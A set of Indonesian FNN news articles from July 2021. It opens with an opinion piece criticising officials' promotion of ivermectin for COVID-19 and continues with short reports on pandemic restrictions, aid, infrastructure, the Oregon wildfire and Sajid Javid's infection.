Oleh: Mochamad Toha Ternyata yang mempromosikan penggunaan obat Ivermectin tidak hanya Menteri BUMN Erick Thohir saja. Ketum HKTI yang juga Kepala Staf Presiden (KSP) Moeldoko juga turut “promo salah” obat cacing seperti Erick Thohir. Epidemiolog Universitas Indonesia (UI), Pandu Riono, menyatakan, Ivermectin tak boleh didistribusikan langsung ke masyarakat. Obat ivermection itu adalah obat keras anti-parasit, belum ada bukti yang saintifik valid dapat membantu untuk atasi orang dengan Covid-19. “Hentikan promosi dan testimoni. Jangan mengobati sendiri,” tegasnya. Menurut Pandu, Ivermectin itu obat keras, bukan Bansos. Tak boleh didistribusikan langsung ke masyarakat. Perlu dilakukan sanksi pada Ketum HKTI dan PT Harsen Laboratories atas tindakan yang tak sesuai dengan regulasi obat di Indonesia. PT Harsen perlu disidak karena mendorong obat ivermectin menjadi mudah didapat untuk terapi Covid-19, tidak sesuai ijin edar dan tidak patuh aturan sebagai obat keras. Bila BPOM RI melakukan pemeriksaan dan penindakan sesuai tupoksinya dan tak terkait dengan upaya penanganan pandemi. Pandu mengingatkan, Obat Keras tidak boleh dijual bebas. Perilaku Perusahaan Farmasi yang tidak mematuhi aturan regulasi harus ditindak tegas, tanpa kecuali. Kita lihat obat keras mudah dibeli di semua toko obat. “Dalam situasi darurat, harus dilakukan pemeriksaan dan tindakan. Tegas dan jelas,” ujar Pandu. Ivermectin itu hanya boleh dipakai dalam uji klinik. Jangan dipromosikan, jangan diresepkan, jangan konsumsi obat yang belum terbukti bermanfaat dan aman. Jangan selebriti promosikan pengobatan sendiri dan klaim obat tersebut bermanfaat. Mari kita edukasi masyarakat. Tidak semua negara sampai harus membiayai riset uji klinik calon obat Covid-19 dengan biaya uang rakyat. Seharusnya produsen obat yang membiayai riset tersebut. Pandu menyebut, perlakuan khusus terhada ivermectin memang luar biasa. Salah satu kejutan di era pandemi dan lonjakan kasus. Ada apa ya? Apalagi, ternyata BPOM terbitkan PPUK, persetujuan uji klinik ivermectin berdasarkan protokol versi 0.1. Protokol masih bermutasi, kini ingin menguji pada semua kasus Covid-19 yang ringan, sedang, dan berat. “Upacara PPUK yang dihadiri oleh Erick Thohir dan digaungkan oleh semua BUMN, ya iklan obat. Anjuran WHO jelas dan tegas dalam tata-laksana terapi Covid-19. Regulator patut dipertanyakan bila mengizinkan penyimpangan. Seperti Ivermectin, obat anti-parasit, yang hanya diijinkan untuk uji-klinis. Mau diperluas aksesnya oleh BPOM untuk saving lives? Produsen obat akan senang. Anomali Protokol Uji Klinik ivermectin versi 2.0, ingin menguji orang dengan Covid-19 berspektrum ringan sampai berat. Artinya, agar bisa dipakai pada semua orang. Padahal tidak ada justifikasi ilmiah dibutuhkan obat tersebut. Jelas tujuan komersialisasinya, bukan menyelamatkan kehidupan! Begitu tegas Pandu. Sebelumnya, Kepala BPOM Penny Lukito mengatakan pihaknya melakukan penindakan pada pabrik pembuat Ivecmertin PT Hansen karena adanya sejumlah pelanggaran yang ditemukan pihaknya. Menurut Penny, apa yang dilakukan BPOM tersebut untuk menegakkan aturan dalam melaksanakan tugas melindungi masyarakat. Pihaknya sudah melakukan pembinaan dan pengawasan pada pembuatan ivecmertin PT Garsen. “Tahap pembinaan, perbaikan hingga pemanggilan namun masih belum ada niat baik PT Harsen memperbaiki kekurangannya sehingga ada langkah tindak lanjut sanksi-sanksi yang diberikan,” kata Penny dalam jumpa pers Jumat, 2 Juni 2021. Ia mengungkap, sejumlah pelanggaran PT Harsen, yaitu mulai dari bahan baku ivecmertin melewati jalur tak resmi, kemasan siap edar tidak sesuai aturan, penetapan kadaluarsa sesuai badan POM dicantumkan 18 bulan setelah tanggal produksi, tapi PT Harsen mencantumkan 2 tahun setelah produksi. Selain itu, distribusinya tidak melewati jalur resmi termasuk promosi obat keras tidak bisa langsung dilakukan kepada publik, tapi harus di tenaga kesehatan hanya ke dokter. “Harusnya mereka memahami regulasi yang ada,” ujar Penny. Direktur Marketing PT Harsen Laboratories, Riyo Kristian Utomo menyebut pemblokiran BPOM telah menggangu produksi. Hansen Laboratories mengklaim obat cacing produksi mereka bisa menyembuhkan pasien Covid-19. “BPOM harus berhenti mengintimidasi, kami menyediakan senjata Ivermectin melawan Covid. Jangan ada upaya sengaja agar kita kalah. Kita harus menang melawan Covid. Jangan ada yang menghalangi,” tegasnya. Tampaknya pernyataan Riyo Kristian Utomo itulah yang membuat keder Penny, sehingga akhirnya membuat BPOM menerbitkan PPUK, persetujuan uji klinik ivermectin berdasarkan protokol versi 0.1. Upacara PPUK yang dihadiri oleh Menteri Erick Thohir. Anjuran WHO yang sudah jelas dan tegas dalam tata-laksana terapi Covid-19 tak digubris. Di sinilah BPOM sebagai regulator patut dipertanyakan bila mengizinkan penyimpangan. Penulis adalah wartawan FNN.co.id

Sebanyak 1.499 Kendaraan Ditolak Masuk Padang Sejak Pemberlakuan PPKM Darurat

Padang, FNN - Sebanyak 1.499 kendaraan ditolak masuk ke Kota Padang, Sumatera Barat, sejak pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat pada 13 Juli 2021. "Penyekatan dilakukan di empat titik masuk Kota Padang, yaitu Posko Anak Air Bypass, Kayu Kalek Lubuk Buaya, Lubuk Paraku, dan Bungus," kata Koordinator Posko Utama PPKM BPBD Kota Padang Rita Sumarni di Padang, Minggu. Ia mengatakan berdasarkan data laporan perbatasan yang disampaikan bahwa kendaraan paling banyak ditolak masuk Padang pada Jumat (16/7) sebanyak 492 kendaraan yang harus berputar arah. “Mayoritas penumpang di kendaraan tersebut tidak melengkapi syarat untuk masuk Padang,” kata dia. Pada hari pertama penyekatan PPKM darurat pada Selasa (13/7) sejumlah kendaraan ditolak masuk Padang. Pada saat itu 411 unit kendaraan terpaksa putar balik. Kemudian pada Rabu (14/7/2021) sebanyak 364 unit kendaraan harus berputar arah, sedangkan pada Kamis (15/7/2021) sebanyak 232 unit kendaraan dipaksa putar balik. “Pada umumnya kendaraan yang ingin masuk Padang berasal dari sejumlah daerah, seperti Jambi, Kerinci, Pekanbaru, Jakarta, dan sebagainya,” kata dia, Sementara itu, orang yang tidak bersertifikat vaksin dan tidak mengantongi hasil tes usap cepat antigen atau PCR yang berusaha masuk Padang cukup banyak pada hari ketiga dan keempat penyekatan PPKM darurat di Padang. Pada Kamis (15/7), sebanyak 242 orang tidak dibolehkan masuk Padang karena tidak memiliki sertifikat vaksin maupun surat antigen, sedangkan pada Jumat (16/7), sebanyak 186 orang terpaksa kembali ke tempat asalnya. “Semuanya itu tidak kita perbolehkan masuk Kota Padang,” katanya. Rita mengimbau seluruh masyarakat yang ingin masuk Kota Padang untuk melengkapi diri dengan bukti surat vaksin maupun surat tes swab antigen. Hal ini dilakukan agar penyebaran virus di kota ini tidak terus melonjak setiap hari dan melindungi warga dari bahaya Covid-19. “Semoga masyarakat maklum hingga akhir pelaksanaan PPKM darurat ini diberlakukan,” katanya. (mth)

Gubernur Kaltara dan Istrinya Sudah Sembuh dari COVID-19

Tarakan, FNN - Gubernur Kalimantan Utara Zainal Arifin Paliwang dan istrinya, Rahmawati Paliwang sudah sembuh dari COVID-19 dan dapat segera beraktivitas kembali setelah selesai menjalani isolasi mandiri. "Insya Allah Senin besok (18/7) beliau sudah beraktivitas normal karena sudah sembuh," kata Juru Bicara Satuan Tugas Percepatan Penanganan COVID-19 Kalimantan Utara Agust Suwandy dalam pesan singkat diterima di Tarakan, Minggu. Diungkapkannya bahwa hasil tes usap PCR Zainal yang keluar pada hari Sabtu (17/7) hasilnya negatif Agust mengatakan bahwa seseorang untuk dinyatakan sembuh dari COVID-19 menggunakan pedoman di antaranya kalau tanpa gejala setelah 10 hari pengambilan spesimen akan dinyatakan sembuh. Kemarin pengambilan sampel secara acak saja, sebenarnya tanpa PCR pun tetap akan dinyatakan sembuh karena Zainal beserta istri terpapar COVID-19 tanpa gejala. "Selama isolasi Pak Gubernur dan ibu selalu dalam kondisi tidak ada gejala. Nanti surat sembuh secara resmi akan dikeluarkan oleh Dinkes Bulungan," kata Agust. Biasanya akan ada pemantauan akhir isolasi. Semuanya akan dipantau. Sedangkan surat resmi mungkin hari ini atau paling lambat pada hari Senin (18/7) akan dikeluarkan. "Jika semuanya tanpa gejala maka sampai 10 hari akan dinyatakan sembuh," katanya. Selain itu, anggota keluarga di rumah jabatan gubernur serta staf gubernur pada hari Senin juga akan dikeluarkan surat keterangan sudah sembuh. Zainal dan istri terkonfirmasi COVID-19 dari hasil pemeriksaan PCR pada hari Jumat (9/7) dan menjalani isolasi mandiri di rumah jabatan di Tanjung Selor, Bulungan. (mth)

Kemensos-Bulog Salurkan 200 Juta Kilogram Beras ke 10 juta KPM

Jakarta, FNN - Kementerian Sosial (Kemensos) bermitra dengan Perum Bulog menyalurkan beras dengan total 200 juta kilogram untuk 10 juta keluarga penerima manfaat (KPM) program keluarga harapan (PKH) dan 10 juta KPM bantuan sosial tunai (BST) dengan paket besar 10 kg per KPM. "Yang menyalurkan Perum Bulog, Kemensos hanya mengirimkan data penerima kepada Menteri Keuangan. Tujuan penyaluran beras untuk memenuhi sebagian kebutuhan pokok para KPM yang terdampak pandemi,” kata Menteri Sosial Tri Rismaharini dalam keterangannya yang diterima di Jakarta, Minggu. Selain itu, ada bantuan beras lima kilogram yang khusus program Kemensos. Bantuan diberikan kepada masyarakat pekerja sektor informal yang tidak bisa bekerja karena terdampak PPKM Darurat, antara lain pedagang kaki lima, pemilik warung, pengemudi ojek, dan pekerja lepas di Jawa dan Bali. “Data penerima bantuan beras lima kilogram ini dari usulan pemerintah daerah. Penerima adalah mereka yang tidak menerima atau di luar penerima tiga jenis bansos reguler, yakni PKH, Bantuan Pangan Non-Tunai (BPNT)/Kartu Sembako dan BST,” kata dia. Bantuan beras disalurkan melalui Dinas Sosial kabupaten/kota untuk warga terdampak COVID-19 di seluruh kabupaten/kota di wilayah Jawa dan Bali. “Masing-masing mendapatkan bantuan 3.000 paket masing-masing sebanyak lima kilogram untuk 122 kabupaten/kota, dan 6.000 paket masing-masing lima kilogram untuk enam ibukota provinsi,” kata dia. Risma mengatakan untuk bansos PKH dan Bantuan Pangan Non-Tunai (BPNT)/Kartu Sembako, sudah disalurkan sejak awal Juli. Secara umum, dalam rangka pelaksanaan program perlindungan sosial, Kemensos mengoptimalisasi program bansos reguler, yakni PKH, Bantuan Pangan Non-Tunai (BPNT)/Kartu Sembako, dan BST. PKH tahap ketiga yakni untuk bulan Juli-Agustus-September, disalurkan pada Juli 2021. Kemensos juga mencairkan BST untuk 10 juta KPM selama Mei Juni, yang cair pada Juli, kemudian 18,8 juta KPM BPNT/Kartu Sembako mendapatkan tambahan dua bulan, yakni Juli dan Agustus. Anggaran untuk PKH sebesar Rp28,3 triliun dan BPNT/Kartu Sembako sebesar Rp42,3 triliun yang disalurkan melalui Bank-Bank Milik Negara (Himbara). Untuk BST anggaran sebesar Rp15,1 triliun yang disalurkan oleh PT Pos Indonesia. “Dengan bansos ini diharapkan meningkatkan daya beli masyarakat,” kata Risma. (mth)

Junimart Ajak Pejabat Sisihkan Gaji Bantu Warga Terdampak Pandemi

Jakarta, FNN - Wakil Ketua Komisi II DPR RI Junimart Girsang mengajak seluruh pejabat negara, anggota legislatif, dan kepala daerah menyisihkan 50 persen gajinya untuk membantu masyarakat terdampak pandemi COVID-19 guna menjalankan nilai-nilai Pancasila. "Mari kita tunaikan nilai Pancasila dan Bendera Merah Putih pada masa pandemi ini. Kita harus realisasikan dalam bentuk rasa empati senasib sepenanggungan," kata Junimart dalam keterangannya di Jakarta, Minggu. Menurut dia, salah satu solusi yang solutif adalah dengan membantu masyarakat terkonfirmasi positif COVID-19 yang sedang isolasi mandiri (isoman) dan terdampak secara ekonomi untuk memenuhi kebutuhan hidup sehari-hari karena kebijakan PPKM darurat. Dia mengatakan wacana penyisihan 50 persen gaji tersebut sebaiknya dapat dilakukan selama dua bulan, mulai gaji bulan Juli hingga Agustus 2021. "Untuk itu, para wakil rakyat, menteri, para dirjen, dan para kepala daerah mari kita menyisihkan dan mengambil 50 persen gaji kita selama 2 bulan terhitung sejak bulan Juli-Agustus 2021 untuk membantu masyarakat," ujarnya. Junimart mengatakan secara teknis pelaksanaan menyisihkan 50 persen gaji tersebut dapat diatur dari kesekretariatan jenderal masing-masing, sedangkan para kepala daerah bisa mengatur secara teknis sendiri. Dia menegaskan bahwa sebagai anak bangsa, seharusnya jangan hanya menuntut tanggung jawab pemerintah untuk menghadapi dan mengatasi pandemi COVID-19. "Ini tanggung jawab kita bersama, khususnya tanggung jawab para wakil rakyat dari tingkat pusat sampai daerah karena para wakil rakyat adalah personifikasi rakyat," katanya. Politisi PDI Perjuangan itu menilai saat ini terdapat dua masalah mendasar yang harus disentuh terkait pandemi COVID-19. Pertama, membantu mengatasi masyarakat yang kurang mampu dan saat ini wajib menjalani isoman. Kedua, menurut dia, membantu masyarakat terdampak PPKM darurat yang daya tahan ekonominya semakin terbatas oleh pembatasan mobilitas. (mth)

Pemkab Kediri Konsentrasi Perbaikan Infrastruktur

Kediri, FNN - Pemerintah Kabupaten Kediri, Jawa Timur, konsentrasi untuk perbaikan infrastruktur di sejumlah titik di wilayah itu dengan harapan akses jalan semakin baik sehingga aktivitas masyarakat semakin mudah. Kepala Dinas Komunikasi dan Informatika Kabupaten Kediri Krisna Setiawan di Kediri, Minggu, mengemukakan pembangunan infrastruktur jalan merupakan hal yang penting untuk mempermudah akses masyarakat dalam menjalankan roda perekonomian. Hal itu, katanya, menjadi salah satu program prioritas Bupati Kediri Hanindhito Himawan Pramana. "Program tersebut langsung ditindaklanjuti oleh Dinas PUPR yang langsung berkonsentrasi dalam pembangunan infrastruktur, seperti peningkatan kualitas jalan jalur Gedangsewu Plosoklaten sepanjang 1,8 kilometer yang beberapa waktu lalu sempat dicek langsung oleh Mas Bup (Bupati Hanindhito Himawan Pramana, red.)," katanya. Saat ini Dinas Pekerjaan Umum dan Penataan Ruang Kabupaten Kediri memiliki enam paket pengerjaan infrastruktur peningkatan jalan kabupaten yang telah selesai tender. Kendati saat ini pandemi COVID-19, pelaksanaan perbaikan infrastruktur tetap dilakukan. "Rata-rata progresnya sudah tinggi. Bahkan untuk proyek jalan Gedangsewu Plosoklaten dengan konstruksi rigid pavement saat ini telah mencapai 44 persen, dari progres awal lima persen. Sesuai target Mas Bup, diharapkan perbaikan bisa selesai akhir Agustus nanti," kata dia. Untuk paket lain, tambah dia, saat ini sedang on progress, bahkan paket pengerjaan yang menggunakan konstruksi asphalt concrete atau aspal hot mix telah selesai 100 persen. Untuk pemeliharaan rutin jalan, Dinas PUPR Kabupaten Kediri juga terus menindaklanjuti laporan dari aplikasi Halo Mas Bup maupun yang telah direncanakan oleh Dinas PUPR Kabupaten Kediri. Masyarakat bisa mengadukan berbagai hal di aplikasi yang telah dibuat Pemkab Kediri tersebut, termasuk keluhan soal infrastruktur. Ia juga menambahkan tentang kepala desa se-Kecamatan Banyakan, beberapa waktu lalu, yang mengeluhkan infrastruktur jalur akses Bajulan Kalipang yang merupakan akses penghubung Selingkar Wilis, yang menghubungkan enam kabupaten di lereng Gunung Wilis. Hal itu juga segera ditindaklanjuti dalam rapat yang telah digelar. Nantinya, dalam pengerjaannya, Dinas PUPR Kabupaten Kediri akan bekerja sama dengan TNI yakni melalui program TMMD (TNI Manunggal Membangun Desa). Dinas PUPR juga telah mengadakan tender pengadaan material yang estimasinya akhir Juli 2021 selesai, sehingga program TMMD di ruas jalan tersebut bisa dimulai Agustus mendatang. "Untuk konstruksi yang digunakan adalah lapen atau lapis penetrasi dengan panjang total sekitar 3,7 kilometer," kata dia. (mth)

Kebakaran Hutan Oregon Berkobar di Depan Pasukan Pemadam

Washington, FNN - Dipicu oleh kayu-kayu kering kerontang, kebakaran besar yang dijuluki api Bootleg mengamuk di hutan Oregon, bergerak maju lima mil (8 km) sehari melawan pasukan pemadam kebakaran saat api menghanguskan 15.783 hektar lagi pada Sabtu (17/7). Didorong hembusan angin berkecepatan 30 mil (48,2 km) per jam, pada sore hari, kobaran itu telah membakar lebih dari 280.000 hektar sejak 6 Juli - melahap area hutan yang lebih luas dari New York City. Lebih dari 2.100 petugas pemadam kebakaran, selusin helikopter dan pesawat tanker telah mengendalikan 22 persen kobaran api, kata juru bicara Departemen Kehutanan Oregon (ODF) Marcus Kauffman. Meski luas pemadaman itu meningkat dari 7% pada Jumat, api masih membesar melintasi garis blokade sepanjang lebih dari 200 mil. Tidak ada prediksi yang jelas tentang kapan api dapat dikendalikan sepenuhnya, kata Kauffman, tetapi November adalah perkiraan yang tertera di laman ODF. "Api ini besar dan bergerak sangat cepat, setiap hari meluas 4 hingga 5 mil," kata Komandan Insiden ODF Joe Hassel. "Salah satu dari banyak tantangan yang dihadapi petugas pemadam kami setiap hari adalah bekerja di kawasan baru yang dapat menghadirkan bahaya baru setiap saat." Bootleg, yang terbesar di antara puluhan kebakaran hutan yang berkobar di lanskap pepohonan kering di Amerika Serikat bagian barat, berjarak sekitar 250 mil selatan Portland, di Hutan Nasional Fremont-Winema. Penyebabnya sedang diselidiki. Sekitar 2.000 orang telah dievakuasi dari daerah itu, kata Nick Hennemann, juru bicara ODF lainnya. Api menghancurkan sedikitnya 21 rumah dan 54 bangunan, dan mengancam 5.000 rumah lainnya. Cuaca panas, kering, dan berangin diperkirakan akan berlangsung hingga Minggu dan Senin, dan suhu dapat meningkat hingga 100 derajat Fahrenheit (37,8 Celcius) di Oregon selatan dan beberapa bagian Montana dan Idaho, kata Eric Schoening, seorang ahli meteorologi dari National Weather Service di Salt Lake City. Gelombang panas, yang membentang dari sejumlah bagian Pegunungan Rocky Utara dan Dataran Tinggi, didorong oleh bangunan bumbungan bertekanan tinggi di atas gurun Southwest, tambah Schoening. "Perhatian utama adalah angin kering dan kencang yang terus berlanjut di Oregon selatan," katanya, seraya mencatat bahwa kondisinya tepat untuk sambaran petir di California utara dan ke Oregon melalui Idaho yang dapat memicu lebih banyak kobaran api. (mth)

KAI Gratiskan Angkutan Oksigen untuk Penanganan COVID-19

Jakarta, FNN - PT Kereta Api Indonesia (Persero) menggratiskan angkutan oksigen sebanyak 122 ton melalui angkutan kereta api dengan rute Stasiun Kalimas, Surabaya menuju Stasiun Sungai Lagoa, Jakarta pada Jumat (16/7). Angkutan oksigen milik PT Virtue Dragon Nickel Industrial Park untuk Kementerian Kesehatan tersebut diangkut menggunakan 2 gerbong ISO Tank masing-masing berisi 28 ton oksigen dan 3 gerbong petikemas masing-masing berisi 22 ton oksigen. “Pengiriman oksigen secara cuma-cuma ini merupakan bentuk dukungan KAI dalam penanggulangan pandemi Covid-19 pada masa PPKM Darurat,” kata VP Public Relations KAI Joni Martinus dalam keterangannya, Minggu. Joni menegaskan, KAI secara konsisten mendukung penuh semua upaya pemerintah untuk menanggulangi pandemi COVID-19 . Kenaikan kasus COVID-19 masih terus terjadi dan telah menyebabkan lonjakan kebutuhan oksigen nasional. Oksigen tersebut dibutuhkan oleh pasien COVID-19 baik di rumah sakit maupun di tempat isolasi. Pada masa PPKM Darurat ini, KAI melalui anak usahanya KAI Logistik menghadirkan promo dengan menggratiskan biaya angkutan oksigen dan tabung oksigen kosong menggunakan kereta api untuk kepentingan non komersial. Layanan ini diperuntukkan bagi angkutan oksigen dan tabung oksigen kosong dengan tujuan pengiriman ke Rumah Sakit atau tempat lain yang ditentukan oleh Kementerian, Pemerintah Daerah atau Lembaga lain yang ditunjuk oleh pemerintah sebagai sentra pengumpulan oksigen untuk aksi kemanusiaan tersebut. "Promo ini bertujuan untuk mempermudah dan mempercepat distribusi oksigen bagi masyarakat yang sedang menjalani pengobatan COVID-19," ujar Joni. Untuk syarat dan ketentuan selengkapnya terkait angkutan oksigen gratis menggunakan kereta api ini masyarakat dapat menghubungi call center KAI Logistik di Telepon 150121, email cs@kalogistics.co.id dan WhatsApp di 081388223205 serta di media sosial Instagram @kalogistics, twitter @KA_Logistics, dan Facebook KeretaApiLogistik. Joni mengatakan, keunggulan angkutan barang menggunakan kereta api antaranya adalah waktu pengiriman yang terjadwal, tepat waktu, lebih ramah lingkungan, serta aman. “KAI sendiri sudah mendapatkan izin khusus dari Kementerian Lingkungan Hidup dan Kehutanan untuk mengangkut B3 (Bahan Berbahaya dan Beracun) kategori DG class 2 yakni berupa gas,” kata Joni. Hadirnya layanan pengiriman oksigen dan tabung oksigen kosong secara gratis ini diharapkan dapat dimanfaatkan sebaik-baiknya, supaya semakin banyak masyarakat yang membutuhkan oksigen untuk pengobatan COVID-19 dapat tertangani dengan segera. (mth)

Kerjasama UI-UGM-NUS untuk Tingkatkan Inovasi dan Kewirausahaan

Depok, FNN - Universitas Indonesia (UI), Universitas Gadjah Mada (UGM), dan The National University of Singapore (NUS) menjalin kerja sama untuk meningkatkan inovasi dan kewirausahaan. Pada seremoni virtual penandatanganan nota kesepahaman kerja sama tersebut, hadir Direktur Jenderal Pendidikan Tinggi Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi Republik Indonesia Prof. Ir. Nizam, M.Sc., Ph.D., IPM., ASEAN Eng. Seremoni virtual tersebut dilakukan di InnovFest, acara usaha rintisan resmi Asia Tech x Singapore (ATxSG). "Kerja sama yang akan dilakukan antara UI, NUS, dan UGM terkait kegiatan penelitian dan pengembangan bersama untuk mempromosikan dan meningkatkan inovasi serta kewirausahaan di Indonesia," kata Nizam dalam keterangannya diterima di Depok, Minggu. Penandatanganan bota kesepahaman tersebut telah dilakukan dalam suatu seremoni virtual oleh Rektor UI Prof. Ari Kuncoro, S.E, M.A, Ph.D, yang diwakili oleh Wakil Rektor Bidang Riset dan Inovasi, drg. Nurtami, Ph.D., Sp,OF(K); NUS Deputy President (Innovation and Enterprise), Prof. Freddy Boey, dan Rektor UGM Prof. Ir. Panut Mulyono. Nizam mengatakan nota kesepahaman itu penting untuk kerja sama antaruniversitas. Kolaborasi tersebut akan mengembangkan ekosistem teknologi melalui kemitraan antara akademisi dan bisnis, serta mempercepat inovasi dan kewirausahaan melalui kampus. "Saya sangat bersyukur melihat penandatanganan MoU (nota kesepahaman) antara NUS, UGM, dan UI untuk percepatan kewirausahaan dan bisnis 'start-up' (rintisan). Saya yakin inisiatif ini akan memperkuat kolaborasi dan persahabatan antara pelajar Singapura dan Indonesia. Masa depan ASEAN sangat bergantung pada keberhasilan kita dalam membina warga negara yang kreatif dan produktif, sejalan dengan kebutuhan masa depan yang sangat dinamis," katanya. Nurtami mengatakan UI bertujuan membangun kompetensi mahasiswa di beberapa bidang agar mereka memiliki bekal yang baik saat lulus kuliah. "Kolaborasi ini merupakan langkah awal dari sinergi dan kolaborasi yang direncanakan. Kerja sama antarperguruan tinggi ini tentunya akan saling menguntungkan, baik dalam penelitian, pengajaran, maupun pengabdian kepada masyarakat. Ini akan memberi mahasiswa kami kesempatan untuk meningkatkan 'personal skills', kreativitas, etika, inovasi, dan kewirausahaan mereka," ujarnya. Dalam perjanjian yang ditandatangani bersama itu, NUS, melalui NUS Enterprise, akan menawarkan beasiswa dan dukungan bagi mahasiswa Indonesia dari UI dan UGM untuk mengikuti program Master of Science di bidang Venture Creation di Singapura, serta bersama-sama mendirikan program cipta usaha di Indonesia. Menurut Prof. Boey, NUS Enterprise terus mengembangkan ekosistem kewirausahaan yang dinamis dan inovatif di kota Jakarta dan Yogyakarta, dan untuk mendukung talenta, teknologi, dan perusahaan rintisan dengan Singapura melalui kolaborasi dengan inkubator lokal dan lembaga pendidikan. NUS Enterprise telah terlibat dalam ekosistem inovasi dan kewirausahaan di Indonesia sejak 2017 melalui program-program seperti BLOCK71, NUS Overseas Colleges, dan NUS Enterprise Summer Program in Entrepreneurship. Hingga saat ini, NUS Enterprise telah mendukung lebih dari 250 usaha rintisan dari Singapura dan Indonesia, memberikan dukungan inkubasi dan akses ke pasar internasional melalui jaringan globalnya BLOCK71. Rektor UGM Panut Mulyono menyampaikan bahwa UGM antusias meresmikan kesepakatan ini, mengingat persahabatan antaruniversitas yang sudah terjalin lama. "Ini bukan hanya selembar kertas untuk meresmikan suatu hubungan. Sebaliknya, ini adalah pengingat bahwa kita benar-benar harus bekerja keras untuk mengubah ide-ide kita menjadi kenyataan. MoU ini akan membuka jalan bagi banyak peluang dalam kolaborasi akademik. Dan seharusnya tidak berhenti di situ. Kami ingin melihat lebih banyak peluang dalam bentuk wirausaha, 'start-up', dan perusahaan yang diciptakan oleh alumni kami," katanya. Setelah penandatanganan nota kesepahaman itu, UI, NUS, dan UGM, merencanakan peluncuran inisiatif bersama dalam satu tahun ke depan. Mahasiswa Indonesia dari UI dan UGM yang memperoleh beasiswa akan mengikuti program Master of Science di bidang Venture Creation di NUS mulai 2022. (mth)

KlikDokter dan ATIC Rilis Layanan Isoman Pasien COVID-19 Tanpa Gejala

Jakarta, FNN - PT Kalbe Farma Tbk (Kalbe) melalui anak usaha PT Medika Komunika Teknologi (KlikDokter) bekerja sama dengan PT Anabatic Technologies Tbk (ATIC) meluncurkan layanan isolasi mandiri (isoman) bagi pasien terkonfirmasi COVID-19 tanpa gejala maupun gejala ringan di Griya Anabatic yang terletak di Bojong Nangka Kelapa Dua, Tangerang, Banten. "Kalbe mengapresiasi kolaborasi antara KlikDokter dengan Griya Anabatic dan berharap banyak masyarakat yang terbantu dalam menjalankan isolasi mandiri. KlikDokter akan melakukan pelayanan kesehatan dan penyediaan obat serta vitamin, sedangkan tempat isolasi mandiri disiapkan oleh Griya Anabatic," kata Direktur Kalbe E-Health, Michael Bujung Nugroho, melalui keterangannya, Minggu. Pasien COVID-19 tanpa gejala atau dengan gejala ringan dapat melakukan isolasi mandiri dengan pengawasan dan konsultasi kesehatan dari KlikDokter. Pasien juga akan diberikan paket vitamin, oxymeter, termometer dan perawat yang siaga 24 jam. Griya Anabatic yang memiliki kapasitas 192 kamar juga dilengkapi jaringan wifi yang mendukung pasien COVID-19 tanpa gejala untuk tetap dapat menjalankan aktivitasnya. Peluncuran layanan isoman KlikDokter di Griya Anabatic ini dilakukan secara virtual dengan dihadiri oleh perwakilan Bupati Tangerang, manajemen PT Kalbe Farma Tbk, KlikDokter dan PT Anabatic Technologies Tbk. Lebih lanjut, Michael berharap pasien COVID-19 tanpa gejala ataupun dengan gejala ringan mendapatkan perawatan yang baik dan dapat kembali ke rumah dalam kondisi sehat dan tidak menularkan penyakit kepada yang lain. Menambahkan, Bupati Tangerang Ahmed Zaki Iskandar berterima kasih dan mengapresiasi langkah kolaborasi KlikDokter dan Griya Anabatic dalam program isolasi mandiri ini. “Kami berharap dengan dibukanya layanan isoman KlikDokter dan Griya Batik, selain dapat menekan tingkat laju penyebaran COVID-19 sekaligus dapat dijadikan contoh dan menggugah pihak lain untuk dapat melakukan hal yang sama di kabupaten Tangerang,” kata Ahmed Zaki. “Penanganan dan pencegahan virus COVID-19 tidak bisa dilakukan sendiri-sendiri, semua pihak harus hadir dan turut serta secara aktif memerangi virus ini agar dapat ditekan, dan pada akhirnya dihilangkan,” lanjutnya. Ahmed Zaki juga menambahkan Pemerintah Daerah Kabupaten Tangerang sangat terbuka dan siap membantu pelaksanaan layanan isoman ini. Ia berharap dapat terus terjalin komunikasi, koordinasi dan saling sinergi sehingga layanan isoman dapat berjalan dengan baik dan terintegrasi. CEO KlikDokter Dino Bramanto mengatakan, meskipun hanya pasien COVID-19 tanpa gejala atau gejala ringan saja yang bisa memanfaatkan isoman di Griya Anabatic, KlikDokter akan terus melakukan pemantauan selama 24 jam serta melengkapi kebutuhan suplemen vitamin dan obat. Presiden Direktur ATIC Harry Sujanto dan Presiden Komisaris dan Komisaris Independen ATIC Ignatius Jonan menambahkan, pihaknya berharap dapat turut berkontribusi mengurangi potensi penularan virus COVID-19 di tingkat keluarga serta meningkatkan jumlah tingkat kesembuhan pasien covid bergelaja ringan dan tanpa gejala. “Saya berharap bahwa pasien COVID-19 tanpa gejala atau dengan gejala ringan, dapat pulang ke rumahnya dengan sehat,” kata Jonan. (mth)

Menteri Kesehatan Inggris Javid Dinyatakan Positif COVID-19

London, FNN - Menteri Kesehatan Inggris Sajid Javid mengumumkan dirinya positif terinfeksi COVID-19 dengan gejala ringan. Ia bersyukur karena sudah menerima dua dosis vaksin COVID-19 untuk melawan penyakit tersebut. Javid, yang telah menjadi menteri kesehatan selama tiga pekan, mendukung rencana Perdana Menteri Inggris Boris Johnson untuk mencabut semua pembatasan virus corona mulai Senin (19/7), meskipun ada lonjakan kasus baru Covid-19 yang dipicu oleh varian Delta yang lebih menular. "Pagi ini saya dinyatakan positif COVID," kata Javid dalam cuitannya di Twitter. Javid menambahkan bahwa dia pertama kali melakukan tes aliran lateral cepat, dan kemudian hasil positifnya juga dikonfirmasi dalam tes PCR, yang perlu diproses di laboratorium. "Hasil positif saya sekarang sudah dikonfirmasi dengan tes PCR, jadi saya akan terus mengisolasi dan bekerja dari rumah." kata dia. Dalam cuitannya pada 17 Maret, Javid mengatakan bahwa dia telah menerima suntikan pertama vaksin COVID-19 Oxford/AstraZeneca dan mengunggah fotonya mendapatkan dosis kedua pada 16 Mei. Vaksin tidak 100 persen efektif untuk mencegah infeksi, tetapi orang yang divaksin lengkap cenderung tidak sakit parah dengan COVID-19 bahkan jika mereka dapat dites positif. Analisis dunia yang diterbitkan oleh Public Health England telah menemukan bahwa dua dosis vaksin AstraZeneca 60 persen efektif melawan penyakit simtomatik dari varian Delta dan 92 persen efektif melawan rawat inap. Inggris menghadapi gelombang baru kasus COVID-19, tetapi Johnson dan Javid mengklaim program vaksin sebagian besar telah memutuskan hubungan antara kasus COVID-19 dan kematian, meskipun Johnson mengatakan bahwa negara itu harus menyesuaikan diri dengan prospek lebih banyak kematian dari COVID-19 Inggris memiliki angka kematian COVID-19 tertinggi ketujuh di dunia, dan telah memvaksin dua pertiga orang dewasa, meskipun tidak memvaksin anak-anak. 